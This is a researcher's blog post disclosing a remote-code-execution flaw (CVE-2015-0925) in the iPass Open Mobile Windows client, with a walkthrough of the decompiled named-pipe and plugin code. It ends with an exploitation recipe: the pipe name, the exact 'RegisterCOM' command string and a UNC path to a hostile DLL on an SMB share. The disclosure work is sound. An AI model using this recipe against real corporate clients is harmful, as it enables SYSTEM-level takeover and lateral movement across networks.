Feb 25, 2015

How I could (i)pass your client security

This was originally posted on blogger here.

Half a year ago I stumbled over a software called iPass Open Mobile during a Windows Client security review. iPass Open Mobile helps you in getting network connectivity over Wifi-Hotspots, modem, DSL, etc. It’s widely deployed on Windows Clients in large corporations.


From US CERT VU#110652:

The iPass Open Mobile Windows Client versions 2.4.4 and earlier allows Remote Code Execution as SYSTEM. It utilizes named pipes for interprocess communication. One of the subprocesses spawned by the client runs with SYSTEM privileges. An authenticated user can register arbitrary DLL files, including ones located at UNC paths, by sending a specially-crafted unicode string to this subprocess to one of the named pipes. The DllMain function in the specified DLL file will then execute with SYSTEM privileges.

Vulnerability Details

This software attracted my attention due to several processes that were running in the background, one of it being as NT-Authority/SYSTEM. The CLR binary iPlatformService.exe is running as a service, but starts two processes of iPlatformHost.exe, one as SYSTEM and another one as your user.

The Main method of class iPass.iPlatformHost.Program eventually creates an iPass.Bus.Bus instance. In the constructor of iPass.Bus.Bus two iPass.Bus.BusEngine objects are instantiated. The iPass.Bus.BusEngine will create a NamedPipeServerStream, accepting commands from CommandPipeAccessPrivillage.Everyone.

So what does CommandPipeAccessPrivillage.Everyone mean? Does it grant access to everyone? The method iPass.Bus.EPHelperCommandPipeServer.ServerThreadFunction() answers the question. Access is granted to the current user and to BUILTIN\Users which includes the Domain Users group of a windows domain!

Commands are processed by plugins registered at the iPass.Bus.Bus. In case of CVE-2015-0925 I focused on the plugin “iPass Software Update Assistant Plugin”. It can be found in the default installation under C:\Program Files (x86)\iPass\Open Mobile\omsi\Plug-ins\iPass.SoftwareUpdateAssistant and has the plugin-id iPass.SWUpdateAssist.

Looking at the config file plugin.xml the command “RegisterCOM” caught my eye, as it was defined to be running in System context.

Does it really allow me to register a COM dll with SYSTEM privileges? Looking at the code we see that regsrv32.exe is called with the path to the dll as a parameter. So what needs to be sent to the named pipe in order to call the “RegisterCOM” method?

To answer this questions, let’s start at the beginning. In method iPass.Bus.EPHelperCommandPipeServer.ProcessPipeRequestFunction data from the named pipe is read as a unicode string. The string is then passed to iPass.Bus.PluginManager.ExecuteCommand().

In iPass.Bus.PluginManager.ExecuteCommand() the static method OSUtil.SplitCommandLine(full_command, out str, out str2) splits the string based on a space character. Based on the first substring a command object is looked up and the execute method called with the second substring as argument.

Later on the iPass.Bus.Command.ExecuteDLL() method invokes the RegisterCOM method using reflection.

So it’s basically just the unicode string “[plugin-id].[command name] [arg]” that needs to be sent to the named pipe.


Exploitation is trivial. Create the DLL of your choice and call your payload from the DllMain function. Place the DLL on your SMB server and send the string “iPass.SWUpdateAssist.RegisterCOM \\host\\pathto\\your.dll” to the named pipe “\\[host]\pipe\IPEFSYSPCPIPE”. The pipe can be accessed remotely as a Domain User. This is really bad for corporate environments with Active Directory, since you can hop from client to client easily as long as SMB is allowed.

The “fix”

As a fix, iPass removed the command and also restricted the access to the named pipe. Nevertheless, it’s still possible to call System commands as a local user since the pipe is accessible. Based on iPass Open Mobiles architecture, it’s obvious that a vulnerability in one of the plugins running in System context provides the possibility to escalate one’s privileges.

I wouldn’t be surprised if there are more bugs … :-)